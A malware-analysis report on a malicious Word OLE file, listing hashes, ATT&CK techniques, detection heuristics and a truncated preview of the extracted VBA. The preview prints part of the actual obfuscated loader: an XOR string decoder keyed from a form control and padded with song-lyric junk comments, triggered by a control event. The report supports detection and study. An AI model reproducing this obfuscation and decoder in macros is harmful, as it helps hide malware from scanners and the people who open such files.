Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8da87f2dd4545682…

MALICIOUS

Office (OLE)

223.0 KB Created: 2018-08-31 19:21:00 Authoring application: Microsoft Office Word First seen: 2019-05-15
MD5: ff377776dbe44de4b01bb12f914174cd SHA-1: 01982c48f047b85756aebc8336a7bb6eb21c77db SHA-256: 8da87f2dd4545682e89fa1e09a67724ae046bce0fd2a043b28ebed413a95e9df
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing obfuscated VBA macros. The AutoClose macro and CreateObject calls indicate an attempt to automatically execute code upon opening. The script uses CreateObject to likely download and execute a second-stage payload, as suggested by the 'Obfuscated auto-exec VBA loader' heuristic. No specific family could be identified due to the obfuscation and lack of clear indicators.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44731 bytes
SHA-256: 75307a533ec7f30f4524db946c78fe6e3094b3f3bcb2066b92b435e76a75bc04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "InkPicture1, 0, 0, MSINKAUTLib, InkPicture"
Private Sub AutoClose()
'Call DoNothing
End Sub

Private Sub InkPicture1_MouseEnter()
Call DoNothing
End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{31CC824E-B572-4F79-ADDE-F275078476AC}{21CE335F-9E3B-4350-9BF7-1FDA163EC793}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"
Function Create0bject(ByVal inputText As Variant) As String
'I been movin' calm, don't start no trouble with me
    Dim key As String
'I make sure that north-side eat
    Dim output As String
'Tryna keep it peaceful is a struggle for me
    inputText = Split(inputText)
'Don’t pull up at 6 AM to cuddle with me
'You know how I like it when you lovin' on me
'I 'm upset
'Fifty thousand on my head, it's disrespect
'So offended that I had to double check
'I 'ma always take the money over sex
'That 's why they need me out the way
'What you expect?
'Got a lot of blood and it's cold
'They keep tryna get me for my soul
'Thankful for the women that I know
'Can 't go fifty-fifty with no hoe
'Every Month, I 'm supposed to pay her bills
'And get her what she want
'I still got like seven years of doin' what I want
'My dad still got child support from 1991
'Outta town, people love to pop a lot of shit then come around
'Word to Flacko Jodye, he done seen us put it down
    key = RemoveObject(UserForm1.ComboBox1.Tag)
'Don’t pull up at 6 AM to cuddle with me
'You know how I like it when you lovin' on me
'I 'm upset
'Fifty thousand on my head, it's disrespect
'So offended that I had to double check
'I 'ma always take the money over sex
'That 's why they need me out the way
'What you expect?
'Got a lot of blood and it's cold
'They keep tryna get me for my soul
'Thankful for the women that I know
'Can 't go fifty-fifty with no hoe
'Every Month, I 'm supposed to pay her bills
'And get her what she want
'I still got like seven years of doin' what I want
'My dad still got child support from 1991
'Outta town, people love to pop a lot of shit then come around
'Word to Flacko Jodye, he done seen us put it down'Don’t pull up at 6 AM to cuddle with me
'You know how I like it when you lovin' on me
'I 'm upset
'Fifty thousand on my head, it's disrespect
'So offended that I had to double check
'I 'ma always take the money over sex
'That 's why they need me out the way
'What you expect?
'Got a lot of blood and it's cold
'They keep tryna get me for my soul
'Thankful for the women that I know
'Can 't go fifty-fifty with no hoe
'Every Month, I 'm supposed to pay her bills
'And get her what she want
'I still got like seven years of doin' what I want
'My dad still got child support from 1991
'Outta town, people love to pop a lot of shit then come around
'Word to Flacko Jodye, he done seen us put it down
'Yes I see the things that they wishin' on me
    For I = 0 To (UBound(inputText) - LBound(inputText)) Step 1
'Hope I got some brothers that outlive me
      x = (inputText(I) Xor Asc(key))
'Don’t pull up at 6 AM to cuddle with me
'You know how I like it when you lovin' on me
'I 'm upset
'Fifty thousand on my head, it's disrespect
'So offended that I had to double check
'I 'ma always take the money over sex
'That 's why they need me out the way
'What you expect?
'Got a lot of blood and it's cold
'They keep tryna get me for my soul
'Thankful for the women that I know
'Can 't go fifty-fifty with no hoe
'Every Month, I 'm supposed to pay her bills
'And get her what she want
'I still got like seven years of doin' what I want
'My dad still got child suppor
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.